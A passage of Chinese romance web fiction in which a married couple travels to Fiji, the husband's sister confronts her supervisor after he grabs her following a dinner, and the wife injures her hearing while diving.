她耐心解释,“策划这一切需要太多的安排配合呈现,就好比我操办昨天的晚宴。作为组织者,我其实没办法好好去体验这场晚宴,心里想的都是‘每个安排都不要出错才行’。所以,就这样的表白,真的属于当事人吗?” 孟翰泽颔首,没再说话。 梁奚禾看他一眼:“你要跟姓郭的比耐心?” 孟翰泽:“不是。我要跟所有潜在的对手比耐心。” 梁奚禾:“……谢谢,我都不知道自己还有潜在的爱慕者。” “一定很多。”他笑道,“好在我持证上岗,受法律保护。” 梁奚禾神色未变:“我不觉得被哪个人喜欢,或者被多少人喜欢是件很享受的事。所以,你放心,我绝对不会拿你去跟其他人比较。我会以最高的契约精神忠诚于我们的约定,如果有一天出了变故,也一定会解决了我们俩之间的事,才会有第三个人!” 除了第三个人,孟翰泽当然也不想听到“协议”、“契约”之类的字眼。可就像刚刚他自己说的那样,有协议约定,有契约精神,才是他最大的安全来源。 他无奈地笑了笑,伸过手捏捏她的脸颊,说道:“我知道了,以后不谈这些。不如我们谈谈,你想去哪里拍婚纱照?” 梁奚禾:“海城?还是大西北?” “喜欢就都安排,还可以更远一点,考虑国外。” “国外?”梁奚禾托着腮帮子兴致缺缺,“我的护照被我妈妈缴了。” 孟翰泽唇角勾着笑意,从裤袋里掏出护照递了过去,明知故问:“是这本吗?” 50-53 第51章 正月十五,孟翰泽随着梁奚禾踏上了前往斐济的旅程。 年前护照失而复得时,梁奚禾简直按捺不住,即日就想启程,毕竟孟翰泽脱不开身,她可以潇洒地请事假——到底出于某种团队精神,她才没有将人抛弃。 因为是拍摄婚纱照,并非蜜月之旅,梁奚禾邀请梅姐和阔姐一起出门晒太阳时,两人没有拒绝。 有两位大管家一路随行,梁奚禾彻底脱开手,只管安心查阅着地图,对着两人说“去这个无人岛看看”、“那个无人岛可以去露营”…… 梅姐皱眉:“露营?是搭个帐篷吹吹海风那种,还是野炊过夜那种?” 梁奚禾头也不抬:“下海打鱼,野炊过夜那种。” 梅姐:“……” 阔姐:“你们去你们去,我就在酒店给你们看东西。” 梅姐:“东西这么多,你一个人怎么看得过来?我来打辅助。” 开玩笑,那么热的地方,没水没电没厕所没浴室,在野外怎么过,喂蚊子吗? 她俩不约而同地落下了眼罩,默契地窝进椅背里假寐。 梁奚禾轻哼一声不理这俩,转而问身边的男人:“孟总,你会潜水吗?” 孟翰泽的目光从手机上收回,抬眸看她:“我们不是公务出行,不用喊我孟总。” 梁奚禾:“……” 最近他执迷于让她将喊‘老公’养成习惯。她偏偏不愿意教他如愿,除非在某些特殊的把持不住的时刻。 梁奚禾也很享受这些时刻,并且越来越享受。那种被填满的感觉,常常令人欲罢不能,事后回忆起来都忍不住翘起二郎腿。 男人好看的眉眼近在眼前,她有些恍神,掩饰地清咳一声,倾身过去反问他:“公务出行就必须保持距离喊你孟总了吗?” 故作恃宠而骄的不满。 孟翰泽嘴角含笑,淡定地答道:“如果你愿意在公司喊老公,我荣幸之至。” 那边,梅姐和阔姐又不约而同地换了一面侧头,掏出兜里的耳机塞上了。 梁奚禾留意到两人的动作,腾地脸红了。活久见地两颊发热,她匆忙靠回椅背,手忙脚乱地戴上了口罩。 暗自懊恼,不就跟公开合法的丈夫调个情嘛,脸热什么。 孟翰泽见好就收,不再逗她,说回刚刚的话题:“我会潜水,但没试过打鱼。” 梁奚禾“嗯”了一声:“会自由潜吗?” 孟翰泽:“会一点。” 梁奚禾:“一点是多少?” 孟翰泽:“考出证了。” 梁奚禾掀起眼皮:“孟总,出人意料啊。” “什么?” “我以为你只会工作,竟然还会花时间去考潜水证吗?”她笑盈盈地说道。 孟翰泽忍不住伸出手刮了一下她的鼻子:“除了潜水,我冰球打得也不错。” “你还会冰球?” “嗯。” 当然不止这些,还有高尔夫等等的社交技能他也无一不会。 他只是不耽于娱乐,不代表什么都不会。 看着梁奚禾惊讶至极的样子,孟翰泽失笑:“有这么震惊吗?看来,老婆,你还需要再深入了解了解我。” 在没有外人的地方,梁奚禾跟阔姐她们聊的话题越来越多,越来越内涵,导致此刻她一听“深入了解”马上就想歪了,下意识地问:“还不够深入吗?你还想怎么深入?” 孟翰泽没她这么老司机,中央处理器有些烧,处理了良久才讷讷地说:“不只生理这方面的深入,还有精神方面……” 那边阔姐终于顶不住了,出声拦道:“拜托,你们留着去床上慢慢深入慢慢聊好不好,我们这两头牛马出来是想看蓝色的大海,没想听黄色大海的传说。” 梅姐眼罩也没摘,从容冷静地输出:“主要这种浅黄听着也没什么意思,不如睡觉。” 以为跟老婆咬耳朵很小声的孟翰泽:“……” 梁奚禾故作委屈地转向自家老公:“她们说我们没意思。” 孟翰泽:“……” 暗自决心下次发员工福利绝对不搞团建。 “落地后就分开玩,我们去无人岛。”。 如果不是项目忙得紧,姚以涵也想跟着兄嫂去浪一浪。 品牌送来的礼服资料她都陪着嫂嫂一起看了,拍婚纱照原计划用六套礼服,后来梁奚禾嫌麻烦,才缩减到三套。 这三套不会跟将来婚礼的主婚纱、敬酒服重合,所以姚以涵其实很想亲眼看到嫂嫂穿着礼服的样子。 “嫂嫂,你一定是世界上最美的新娘子。”当时她由衷地说了这么一句。 被梁奚禾笑了:“小涵涵,你是绑定了魔镜系统吗?” 两人分处宁市和港城的日子也没断过联系,梁奚禾怕她压力太大,直接给空投了一个超级游戏本,方便联网一起玩。 除了游戏里越来越默契,现实中姚以涵也脱去了那种拘束感,对着嫂嫂更加放松、亲近,有什么跟哥哥、妈妈难以启齿的话,有时跟嫂嫂就自然而然地说了出来。 和他们在机场分别时,她最不舍得就是嫂嫂,反而对哥哥没那么依赖了。 落地港城,司机来接她,刚坐上车,她就开始想家,不过和从前不太一样。 以前她在想爸爸什么时候回家,下次一家人一起吃饭会是什么时候。那时她总是习惯性将三人饭桌上的冷清归咎于父亲的缺席,总以为父亲的回归会带回家的温度。 直到除夕,哥哥和妈妈去了云开寺准备烧头香,她和嫂嫂窝在同一张床上看春节联欢晚会。 当时梁奚禾看着小品怪无聊,一时兴起问她:“有没有刷过以前的春晚?” 姚以涵:“没有啊。” 梁奚禾打了个哈欠:“我用两倍速刷了一些名场面,什么萝卜开会、超生游击队之类的。老艺术家们的作品还是挺有意思的。” 姚以涵突然颇受触动,冲口而出:“其实我也一直觉得自己是超生的。” 梁奚禾有点困,更不清楚宁市当时的生育政策,但没让这句话落地,答道:“那妈妈肯定也把罚款交足了。” 姚以涵沉默了两秒,倾诉之欲空前未有地蓬勃:“不是指这个。我是在想,如果没有我,妈妈就不会冷落爸爸,爸爸也就不会……” “你怎么会这么想?” 梁奚禾瞬间没有了睡意,像是被雷声震撼到,猛地坐了起来,看向姚以涵,“涵涵,你认真的吗?” “嗯……” 姚以涵低头掰着手指,透露最隐秘的心事后的不安与迷茫,但她还是想继续往下说,“小时候,妈妈每天都会抱我亲我,觉得我是世界上最可爱的小姑娘了。可是……后来,她都不再对我笑了……” 梁奚禾才算明白为什么这姑娘总是谨小慎微,小心翼翼地察言观色。她触碰到了这道伤口,怜惜地轻抚姚以涵的头顶。 “涵涵,我想妈妈那时候一定很难过。爱人的背叛,没有多少人可以轻拿轻放的。加上当时祖父离世,儿女年幼,孟家被捏在别人手里,她肯定找不到出口了才会躲进山里。逃避是人体的自我保护机制,她当时一定是自顾不暇了。” 姚以涵眼眶发热:“我都理解的,我没有怪妈妈,我只是觉得自己很多余,孟家有了哥哥就已经有了继承人,妈妈她根本再多要我一个……” 梁奚禾打断她:“你这么想不对。渣男要出轨,跟老婆是不是孕期完全没有关系。有些出轨的渣男怪老婆不打扮,可老婆每天都很精致的渣男不也出轨了嘛,这时候他们又要讲老婆徒有其表、没有共同语言了。 “这些都是借口,诡辩,不过是用来掩盖他们自己的劣根性罢了。这不是妈妈的错,更不是你的错。” 姚以涵抬头看向密密麻麻的高楼。这座城市很魔幻,有着世界领先的经济实力,也有着几房太太的封建残余。 她想着嫂嫂那段话。 “女孩子总是习惯性被教导从一而终,不管受过多少教育,社会给女生的主流的最终人生目标好像就是经营一个相夫教子的余生。而男孩儿的教育里却没有这些,他们只会不断地被鼓励向上攀登,绝不要被感情和家庭耽误。因为只要他们站得够高,什么样的感情,多少个家庭都唾手可得。 “所以涵涵,其实我并不相信爱情。我会觉得这是让女性心甘情愿留在桎梏里的手段,也是无法逃离的女性给自己的催眠。 “因为爱丈夫爱孩子,所以她们可以放弃事业、梦想、自由,那句歌词怎么说的来着,‘是谁来自山川湖海,却囿于厨房与爱’。不放弃山川湖海,就是不爱?那为什么男人不能放弃呢? “我扯远了。就是想跟你说,我不清楚妈妈为什么不离婚,但希望你将来不要将自己绑架进爱情的谎言里。如果你的人生不能往你觉得舒适开心的方向走,那一定不是什么好的爱情。” 人生与理想,她竟然会跟嫂嫂聊这么深。姚以涵笑起来,聊完以后她的人生确实轻松了起来,理想也更加清晰。 只是,嫂嫂不相信爱情,那哥哥还有机会吗? 第52章 姚以涵忽然顿悟了一个道理,人一旦不再缅怀过去,迎接未来时似乎就能变得更加蓬勃热烈。 她没想到这次回到港城后,自己会有这么大的改变,就连家里的工人都说小姐好像没那么心事重重了。 她很喜欢甩掉包袱的自己,轻装上阵,在项目组中也更加投入,更加愿意表达自己。 项目取得阶段性进展的那天,导师组织了一场聚餐,以往并不热衷小组讨论以外的集体活动的姚以涵,也决定加入。 导师眼睛一亮:“难得Heidi肯参加,我们去吃顿好的。” 一行人去了中环的一家米其林两星,论菜品和口味,姚以涵只觉得尚可,但气氛着实不错。 她在组内年龄偏小,除了导师,在座的各位都是学长学姐,席间她主要听他们聊天,开始他们聊学术,后来喝了酒,又聊到各自的感情,有几位已经结婚的,劝未婚的千万不要着急。 “如果我不是意外怀孕生了孩子,博士论文可能都已经写完两年了……” 这些距离姚以涵太远,她插不上话,对着餐盘放空,研究上面精美的图案。 “Heidi,你平时有什么消遣?” 坐在一旁的导师突然抽离众人,转过头压低了声音与她私聊。 姚以涵应声抬头。 他很年轻,但也大她很多岁,不过姚以涵没想到的是,他还会有这么清亮的眼眸,以前从没有近距离这么对视过。 似乎是看她游离在话题外,他特地找她说话,怕她一个人无聊尴尬。他们组内关系一向好,这点关照不算不同寻常。 姚以涵其实还算自在,但受了这份好意,笑着回答:“跟我嫂嫂打游戏应该算吧。” 他对游戏的话题很感兴趣,问她玩什么游戏,听说她是菜鸟也不轻视,还像平时鼓励组员那样,说操作嘛,多练练就好了。 姚以涵对这样的导师很是服气,他找她碰杯时,她由衷地将杯子降了几分,却被他拖住杯底,倾身过来:“对我不用这样。” 这一下突破了社交距离,他的气息都扫在耳侧,姚以涵顿时愣在了原地,还没反应过来时,他早就离开。 等她回神,他依然笑得灿烂阳光,她不自觉地回以笑容,端起杯子喝酒,将心底那点怪异的感觉压下去。 饭后,导师去结账,他们几个站在餐厅门口等待。家里的司机已经到了,因为还没有人离开,姚以涵便没开口说要走,不做第一个。 导师拎着公文包,臂弯里挂着西装外套,侍者送他到门口,他温和地道谢后,看向他们:“上次谁说要唱K?还想去吗?” 一个学姐举手:“我我我,想去啊!您要请第二场吗?” 导师:“你们想去,我请。” 所有人欢呼起来,姚以涵站在一边显得更为安静。 “Heidi,不想去吗?” 导师忽然转头问她,今晚频频被cue到的姚以涵对上他的目光,那句“不太想去”到了嘴边也没说出来。 “去吧。” 她还是没能为了自己做一个扫兴的人。 内地品牌的KTV,还能点好吃的打边炉,所有人“来都来了”,又点了一桌吃第二顿。 包厢里,音乐震耳,气味浓郁,姚以涵并不像第一场那般享受这次聚会了。 她坐在一角,频频捏亮手机看时间,在想找什么借口提前离开。 这时,新微信进来:【闷吗?出去透透气?】 姚以涵抬头看向发信人,沙发另一头的导师正越过人群关切地看着她。 她顺势点了点头,在微信回他:【我想先走了。】 导师:【好。】 得了准许,姚以涵起身告辞,她声音小,几个学长学姐喝得上头,不知道有没有听见。 她拿上包和外套,安静地撤退,带上门出去。 “这么晚了,我送你。” 长长的走道里,有从各个包厢里泻出的声音,但都像隔着结界似的,只有身后这道男声真实。 姚以涵惊讶回头,就见导师不知道什么时候也出来了。 走到她身侧,他握着手机道:“家住哪里?我喝了酒不能开车,打车送你吧。” “不用不用。”姚以涵摆手,“司机已经在等我了。” 导师不清楚她的家境,以为她打的车,皱着眉道:“这么晚了,你一个人打车不安全,一起走。” 说着,就率先往外走去。 姚以涵对他的坚持过于惊讶,她并不清楚从前她没参加的聚餐中,他是不是也同样关照学姐们。 但她真的不需要,于是快步跟上,语速飞快地解释:“我不是打车,是家里的司机……” 话未说完,前面的男人一个急停,姚以涵收腿未及,差点一鼻子撞到他的蝴蝶骨上。 他转过身来,两个人面对面站的距离变得极近,姚以涵抬头时,几乎头顶要擦着他的下巴。 她吓了一跳,赶紧后退,没想到这时他突然握住了她的手腕。 “Heidi。” 他语气认真,眼神令人看不懂,手腕上属于男人,还是喝了酒后的男人的体温更加灼热。 姚以涵挣了挣,没挣脱,有些慌乱。 “我只是想送你回家,Heidi。”他又恢复了笑容,“你这样找借口,我会觉得很难堪,难道我是什么洪水猛兽吗?” 手腕被收紧、挤压,男人的力量存在感极为强烈。这不是洪水猛兽是什么? 姚以涵脸色一白,他的笑容在温和的面具下还藏着什么,但她没空细细揣摩,只想挣脱。 “请放开我!我不是借口,是真的家里给配了司机。” “你不相信我,竟然会相信一个陌生的司机。Heidi,你说坐地铁回家,我还会相信。” 鸡同鸭讲。 那一瞬间,姚以涵甚至都想过是不是要把司机喊进来自证。 “走吧,我送你。” 他重新迈步,怕她逃脱似的,依然紧紧扣住她的手腕。姚以涵被拉扯了一个踉跄,直到此刻她才意识到男人的不对劲。 力量的悬殊令人慌乱,走道似乎长得没有尽头,路过的包厢里传来的音乐声遮盖住了两人的脚步声,无人注意她的窘迫。 拐过一个拐角后,她一边持续挣着,一边去包里掏手机,想给司机打电话求救。 就在这时,有人突然出现:“放开她!”扣住了男人的手腕。 导师被迫停下,姚以涵心里顿时一松,感激德抬头,却在看到来人时脸色一沉。 姚博远正面无表情,眼神却锐利地与男人交锋:“还不放开?想去警局喝咖啡?” 导师不见一丝慌乱,笑得温和:“你是谁?为什么干涉我们?” 姚博远没看姚以涵,并不被对方牵着鼻子走,还是那句话:“我数到三,把手放开。” 随后他就真的开始数数,一,二,三。 丝毫不怵这年轻人的警告,导师笑意不减,没放开手,反而看向姚以涵:“Heidi,你告诉他我们是什么关系,别让他误会。” 姚博远这才侧目看向姚以涵。 姚以涵从来没有这么近距离地看过这个父亲的私生子。 原来,原来他跟哥哥,竟然还有几分相似,尤其眼神,冷淡中又透着关切的眼神,真的很像。 也不知道是不是这样的眼神传递了勇气,她很快敛了思绪,昂首对着导师说道:“他没误会,我们现在是骚扰与被骚扰的关系。请你立即放开我,不然我会选择报警。” 没想到她会这么刚,导师脸色一变,当下丢开了她的手。 离去时,还从两个人的身上扫视而过,冷笑道:“把别人的好心丢在地上践踏,我错看你了Heidi。” 姚以涵揉着自己的手腕,低头没接话。 等人走后,两人沉默了一会儿,还是姚博远开口:“我送你到停车场。” 他刚刚听到她说有司机来接。 姚以涵心情十分复杂。这个人是她过去极度介意,又极力忘却的存在,对于他,她是讨厌甚至憎恨的,又怕惹姚德平不高兴,小心地收起了这些讨厌和憎恨。 可今天,偏偏是这个人在她最慌乱无助的时候从天而降。 她不知道该感激,还是怎样。 一路沉默到了停车场,姚博远特地瞥了眼驾驶室,是女性司机。 他收回视线,大概也知道对方不想看到自己,脚步未停,打算离开。 “等等。” 姚以涵出声。 姚博远脚步顿住。 “今晚……”她道,“谢谢你。” “不用。” 姚博远回答得极为干脆。 他从包厢出来时,就看到一个女生被一个男人抓着手腕拖着往前走,肢体语言无不在说她是被迫的。 无论她是谁,他都不可能坐视不理。可直到两人对上视线,他才认出这是他的姐姐。 当然,她不会想承认这姐弟关系。 他也无意高攀。 “那……再见。”姚以涵道。 姚博远偏过头,余光看到她走向后座,忽然想起自己今晚来这里的目的,下意识地开口问道:“如果姚德平也是这种男人,你会报警吗?” 姚以涵莫名其妙地回头:“……什么?” 对比她的面色,姚博远显得颇为冷淡地又重复了一遍。 姚以涵不知道他这么一问是发散思维,还是真的知道他们共同的父亲还有什么令人不齿的事。 她回想刚刚的一幕还会恶寒,见他仍等着自己的回答,便认真答道:“我可能不会,但嫂嫂应该会建议我报警,而我会听她的。” 嫂嫂。 想到梁奚禾,姚博远有片刻凝滞。 姚以涵不察,上车离开。 今晚她得罪了导师,以后该怎么办,她确实想找嫂嫂聊聊。 第53章 姚以涵的电话进来时,梁奚禾正被人箍着腰,辗转研磨着。 两人均沉浸在强烈的欢愉中,谁也没有注意到被扔在沙发上的手机震动。 直至云歇雨收,孟翰泽还是没舍得退出,他的假期结束,明早就将返程,而怀里的人没义气地在OA上发起了请假流程,一请就请十五天。 此时,他满是离愁别绪,而某人则毫无良心。 梁奚禾入职未满一年,还没有带薪年假,这回大剌剌请半个月事假,她的部门经理还以为老板娘有什么私事要处理,又不敢多问,当即点了通过。 人事部也是如此,流程就到了孟翰泽这里。 见到请假条的孟翰泽问她:“玩累了?想休息半个月?” 梁奚禾刷着探海博主的vlog,漫不经心地“哦”了一声:“是我还没尽兴,你先回去吧,我跟梅姐他们再玩半个月,顺便也替阔姐跟你请假。” 刚来的前几天有婚纱照拍摄任务在身,结束后他们才真正开始游玩,可美丽的海岛那么多,这点时间哪里够呢。 更何况,她多久没有呼吸过自由的空气了?! 梁奚禾绝对不想就这么回去忍受潮湿阴冷的冬天,以及乏善可陈的朝九晚五的牛马生活。 孟翰泽:“……” 他的脸色肯定不算好看。 梁奚禾察觉气氛突然安静,抬头看他这种表情,难得心软,主动环着他的脖子,又狗腿地轻咬了一下他的嘴唇,再顺便卖个惨:“孟总,我连毕业旅行都没有,超级可怜的……” 孟翰泽嘴角抽了抽,无情戳破谎言:“……如果我没记错的话,去年夏天你是在欧洲毕业旅行途中,被梁董和奚总急召回国。” 梁奚禾坚决否认:“没有,我没开始毕业旅行就被叫回来了。” 他明显不信。 两人对视片刻,梁奚禾话锋一转:“就算我现在不是补毕业旅行,那我休婚假,当蜜月旅行总行吧?” 孟翰泽神色更为冷凝:“我回去了,你跟谁蜜月旅行?” 梁奚禾一滞。 她原以为护照从奚总那里拿回来了,就能踏上自由的康庄大道,谁知,眼前这人非但不是助力,还试图变成一根风筝线。 她抿唇,风筝有线,也是要飞的,怎么能天天拴在裤腰带上。 这套理论讲得孟翰泽无法反驳,说到底是他舍不得两地分居而已,她想多玩半个月也不是什么出格的事。 孟翰泽暗自叹了一口气,揉乱了她的头发:“不要玩太疯,安全第一,按时吃饭,不要偷吃辛辣,还有不能只吃海鲜,多吃蔬菜水果……” 言下之意是不再反对她留下继续玩,梁奚禾见他尚算上道,当即决定好好宠幸他。 于是,有了这场雷霆雨露。 梁奚禾累极,将人连推带踹地赶了出去,起身去清理。孟翰泽来抱她,也被严词拒绝。 她着实不想再来一次了。 飞速清理干净,梁奚禾走出浴室时,服务生正在更换床品,她在沙发上找到手机,去客厅坐着等待,才看到有来自姚以涵的未接。 孟翰泽从浴室出来,服务生已经退出,梁奚禾正往行李箱里装衣物。 “你放着,我自己来。” 以为她在帮自己收拾行李,他简直受宠若惊。 谁知梁奚禾头也没回道:“我明天跟你一起走,我去港城。” 孟翰泽没跟上思路:“什么?” 梁奚禾将衣柜里的衣服捧出来扔到床上,然后看他:“我去找涵涵。” 孟翰泽皱眉:“涵涵怎么了?” 姚以涵被导师性骚扰的事只分享给了她,又央求她暂时别让母亲和哥哥知道,梁奚禾这会儿只能打掩护:“她抢了两张演唱会的门票,正好也是我喜欢的组合,我要去看!” 其实姚以涵只是想找人倾诉,但梁奚禾不能让小妹妹独自处理,临时决定前往港城,作为军师,也作为援军。 她说得煞有其事,孟翰泽没有怀疑,只是心里酸酸的。 他的吸引力还没有一个明星组合大。 他折身去拿了瓶水,拧盖的力气都比平常大,仰头灌了大半瓶,将水瓶放到床头柜上时,似是不经意地问:“什么组合?男的女的?” 梁奚禾没关注港城最近有啥演唱会,还是听阔姐提过一嘴,含糊地说道:“乐队,男的女的都有。” 孟翰泽没再问,娱乐圈是他完全没有涉足的领域,乐队名称问了只会暴露他和她的“代沟”,本来她就觉得他古板无趣。 他绕过床尾,接过她手里的衣服:“歇会儿吧,我来。” 梁奚禾窝进床里,没睡也没刷手机,饶有兴致地盯着他看。 她的视线扫过他的眉眼,喉结,以及浴袍V字交领间的胸膛。这个男人似乎越来越有魅力。 她的身体某处依然留存着肿胀感,清晰地提醒着她,他的技术也越来越取悦她,越来越有吸引力。 梁奚禾唇角含笑。 好像早点回去也不错。 姚以涵没想到嫂嫂会立即从南半球飞过来,当她打开家门,对上梁奚禾、阔姐、梅姐三张笑脸时,几乎马上泪目了。 梁奚禾借口累死了,让工人带阔姐和梅姐去休息,自己则挽着姚以涵回了主卧。 电话里说的只是聚餐后发生的事,这次面对面地,梁奚禾仔细询问了过去那位奇怪的导师的举动。 姚以涵回忆了一会儿,摇头:“之前没什么异常举动,至少对我没有。” 可能是她太独来独往了。 梁奚禾:“但他并不像正人君子,如果打算追求你,不会用这种方式。你觉得我们要调查他吗?” “调查他?”姚以涵没想过这个问题。 “嗯。发生了这件事,你肯定要离开他的项目组,这是毋庸置疑的。可我并不想对这种道貌岸然的男人轻拿轻放,放过一次,他还有下一次。那下一回,某个女孩儿没那么幸运,怎么办呢?”梁奚禾严肃道,“当然,这件事还要听你的想法,因为等我们找到证据,可能那天发生的事也会被曝光出来。” 姚以涵脑海里都是那句“下一回,女孩儿没那么幸运,怎么办”,她当即说道:“曝光吗?我没在怕的。做错的又不是我。” 梁奚禾:“那当然。” 姚以涵:“查,我们查他!” 不是每个女孩都有她的家世背景,今天她打算调离这个项目组,有的是办法和手段。 那为什么不把这些办法和手段用在解决那个有问题的人上呢? 两人达成共识后,梁奚禾就将梅姐和阔姐请了过来。听完事情始末,两位姐姐义愤填膺至极,恨不得当即将那男人反剪了两只咸猪手,押到油麻地警署去。 热火朝天地讨论了半天,决定由梅姐去聘请私家侦探调查此男,阔姐则负责帮姚以涵与学校沟通更换导师和项目组事宜。 姚以涵本来秉着一腔热情,打算直面此人,将他的真面目揭露出来。 如果是梁奚禾自己,她会这么做,但当事人是姚以涵,她就不赞同她冒险了。 “没必要跟烂泥硬刚,你学你学的,剩下的交给我们。”梅姐如是说。 阔姐也安抚:“涵涵,有进度大家会给你反馈的。我们待不了太久,保镖也不能24小时跟着你,你明面上置身事外,家里才不会担心。” 姚以涵这才作罢,想到那天也是后怕,幽幽地说道:“那天多亏了姚博远突然出现,虽然看到他我很膈应……” 听到这个名字,梁奚禾很是意外,那句“你们认识”快要问出口,就听阔姐冷哼了一声:“没想到这孽种还算做了一件好事。” 她的话说得极为难听,又是姓“姚”,梅姐当下反应过来:“那个私生子?” 梁奚禾心里震惊无比,看看阔姐,又看看姚以涵,终于反应过来。 电光火石间,她想起那天偶遇樊瑞对着姚博远说难听的话,想起樊瑞问她“知不知道他爸爸是谁”…… 梁奚禾心不在焉地回到客卧。 樊瑞是孟翰泽的朋友,跟她起了冲突,肯定不会不告诉孟翰泽。 那孟翰泽呢?知道她这么不给他的朋友面子,还是为了帮姚德平的私生子,他会怎么想? 她捏着手机,没意识到自己第一次在意起孟翰泽的感受。 而且,是这么的在意。 她不是内耗瞎猜的人,很快拨打了视频过去,孟翰泽几乎是秒接。 “我正想打过来,到涵涵家里了?” “嗯……”梁奚禾直来直往地问道,“樊瑞跟你说过,我跟姚博远认识吗?” 她突然提起这件事,孟翰泽明显愣了一下,几秒钟后才“嗯”了一声。 梁奚禾:“其实也不算认识,他是夏初弟弟的合伙人,我算是把机车寄养在他们的店里。那天,是我误会了樊瑞。” 孟翰泽明白过来,她这是特地在跟他解释。 “好的,我知道了。”他笑得一如既往的温柔,“怎么突然想起说这个?” 梁奚禾认真:“我今天才知道他是谁。我不想你误会我的立场有问题。” 孟翰泽失笑:“这跟立场没关系。” “你没有生我气吗?”她问。 “没有。” 孟翰泽道,“禾苗,交朋友是你的自由。” 他大概会吃一些怡情的小醋,却没想干涉她的正常社交。 梁奚禾透过屏幕盯着他的眼睛,觉得有点难过,很莫名其妙的难过。 就好像有什么东西被送到了眼前,而她,因为自始至终带着某种游戏的态度选择视而不见。 但,这东西,就是爱情吗? 她不知道。 梁奚禾跟他说了晚安,飞速挂掉了视频,她躺在床上放空。 高中的时候,她也是相信爱情的,也会在篮球赛看到某个男生跳投时,觉得巨帅无比而心跳加速。 可是,后来看了很多书。看到了生而为女的前路坎坷,在感情里、婚姻里、事业里的重重难关。 从那时起,她就预设了一道屏障。不历经那些苦难,唯一的答案就是不要相信、不要碰触。 合作,有法律保护,就算失去一些事外之物不要紧,只要不动心不动情,她就能全身而退。 可今晚,她感觉到了一丝动摇。 完结+番外 第54章 梁奚禾在港城住了一周。 这一周,导师飞国外参加研讨会并不在港城,正好姚以涵可以处理调组等事宜,而不必直面这个恶心的人。 申请调组的事情是由阔姐辅助办理的,怕姚以涵气闷,她劝慰道:“咱们中国人不是讲‘君子报仇,十年不晚’吗?放心,他会为他的不恰当行为负责任的。” 姚以涵笑笑:“我明白的,我只是觉得男人可真没意思。” 据目前梅姐那边搜索到的资料,她的导师已婚未育,准确地讲,妻子正在孕早期。 姚以涵感到一种前所未有的倦怠,姚德平是这样,导师也是这样,仿佛这个世界里,婚姻制度和家庭伦理只是桎梏妻子的一道道枷锁,而丈夫却拥有“豁免权”。 梁奚禾正在舀着双皮奶慢慢吃,闻言环顾房间里一个比一个沉默的女生。她是这里唯一一个已婚女性,虽然她过去秉持着某种同样的观点,但此刻却觉得有必要对人生答卷尚在徐徐展开的小妹妹说点什么。 她清了清嗓子,开口道:“咱们中国人还有一句老话,叫做‘只有千日做贼,没有千日防贼的道理’。先别急着防御,把男人都一杆子打死。” 梅姐觉得今天的梁奚禾有点不太一样,从前她们仨也不是没聊过,她是怎么说的来着? “男人嘛,就像高跟鞋,不光要好看,还要好穿。穿厌了,难道还不许买新的吗?” 虽然也没见她“买新的”,属于穿一双是一双的人了,但话肯定不像今天这么……恋爱脑的。 姚以涵笑起来:“嗯嗯,像我哥哥就很靠谱啊,我不能因噎废食。” 梅姐瞥了眼梁奚禾,她“嗯”了一声,继续埋头吃,有点心虚的意味。 梅姐和阔姐交换了眼神。两人基于各自的理由选择保持单身,但也是期待看到梁奚禾两口子渐入佳境的。 在港城诸事落定,梁奚禾没有返回宁市,带着三姐妹重新潜水去了,美其名曰给姚以涵压压惊、散散心。 姚以涵还有课,出来三四天已经是极限,她们便选择了船宿的行程。 航行在茫茫海域中,每天几乎都是三潜、四潜的安排。有专业的潜岛跟着,四人胆子越来越大,玩得也越发尽兴。 只是,在倒数第二天的第三潜结束后,梁奚禾突然觉得听力不正常。 耳朵闷闷的,外界的声音,细小的听不见,分贝大一些的传过来时就像隔着一层什么膜,听不真切。 随行没带医生,船长当即决定返航。 返程途中,四人在群里打字交流,梅姐仔细询问梁奚禾的情况,在水下耳朵疼不疼,有没有按规定做好耳压平衡等等,然后联系港城的医院。 梁奚禾却说:【我回宁市看医生。】 梅姐和阔姐反对,连姚以涵都不答应,港城比宁市近好多,医疗资源也好,不能耽误。 梁奚禾不知道自己是抱着某种“肯定不会这么倒霉”的侥幸心理,还是事关重大需要回家才有安全感,无论三人怎么劝,都一意孤行要回家。 姚以涵被“单独遣送”回港城,梅姐和阔姐随着梁奚禾返回宁市。 到了宁市,梁奚禾反倒没急着通知家里,更没知会孟翰泽,从容地让梅姐安排了专家,检查、诊断。 医生说问题不大,药物治疗一段时间可以完全康复。 孟翰泽赶到的时候,正好听到医生在批评梁奚禾任性妄为,她这种情况最佳的选择应该是就近就医,而不是千里迢迢赶回宁市。 如果耽误了治疗,损伤不可逆,那得后悔一辈子。 梅姐和阔姐听到脚步声,看向一脸焦急的孟翰泽,梁奚禾背对着他,并未察觉动静。 她只看到医生的嘴一张一合,嗡嗡嗡的,听不太清楚。 “医生,我是她老公,需要怎么治疗?” 医生知道他们的来头,也没有区别对待,抬眸,很是专业地交代孟翰泽怎么滴药等等。 “康复后,下次重新潜水之前,需要经过我的同意。” 梁奚禾只当他在交代两大管家,也没回头,干脆垂首给孟翰泽发消息。 【孟总,你老婆回来了,惊不惊喜?】 孟翰泽与医生交谈完毕,正好看到信息,瞥了眼她晒得有点点黑的脖颈,面无表情地回复:【惊喜。】 梁奚禾皱眉:【我没看出来你惊喜。】 孟翰泽:【那听到我惊喜地喊了声‘老婆’吗?】 梁奚禾:“?” 她后知后觉地回头,对上了一双担心、焦急、心疼、谴责……百感交集的黑眸。 她顿时心里一软,像个犯了错的孩子那样,扁了扁嘴。 医生给滴了药,梁奚禾坐进孟翰泽那辆幻影,梅姐和阔姐单独一辆车。 升起隔板后,孟翰泽将人搂到怀里,重重地在她额头亲了一记。 “禾苗……” 批评的话刚开口,意识到她现在听不到,他掏出手机打字。 航空座椅中间隔着扶手,梁奚禾觉得拥抱的姿势并不舒服,退了开去。 【怎么那么不会照顾自己?】 他质问道。 梁奚禾:【意外而已啦。】 孟翰泽脸上表情未变,凝重的样子:【不是不许你玩这些项目,但不管机车也好,潜水为好,安全是第一位的。】 梁奚禾莫名不再抗拒他的这些“唠叨”,甚至觉得老古板的唠唠叨叨还怪窝心的。 她下意识地回道:【知道了,以后接受你的监督好吧?】 像是示好似的,又添了一句:【老公?】 可这一句“老公”,孟翰泽并没有给出她意料之内的反应。刚刚那几句,只要她回了一句,屏幕很快就会显示“对方正在输入中…“。 这次没有,梁奚禾看了看孟翰泽,他似乎有点愣怔,可面上未见喜色,不知道在想什么。 梁奚禾挑眉,不至于吧,还能高兴呆了? 回到双子大厦,一整个下午,梁奚禾都被孟翰泽抓着补觉,多休息。等她睡着,他才去书房工作了一会儿,快到晚饭时间再来喊她。 